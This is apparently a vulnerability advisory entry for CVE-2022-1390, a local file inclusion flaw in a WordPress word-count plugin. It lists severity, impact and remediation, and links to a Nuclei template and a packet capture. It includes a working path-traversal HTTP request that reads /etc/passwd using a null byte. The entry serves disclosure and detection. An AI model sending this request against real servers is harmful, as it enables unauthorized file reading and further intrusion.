| Title | WordPress Admin Word Count Column 2.2 - Local File Inclusion |
|---|---|
| Author | daffainfo,Splint3r7 |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise. |
| Remediation | Update to the latest version of the WordPress Admin Word Count Column plugin (2.2 or higher) to fix the local file inclusion vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92036 |
| CVE ID | CVE-2022-1390 |
| CWE ID | CWE-22 |
| Tags | cve cve2022 packetstorm wpscan wordpress wp-plugin lfi wp admin_word_count_column_project vkev vuln |
The plugin does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique.
GET /wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1390.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1390.pcap
N/AN/A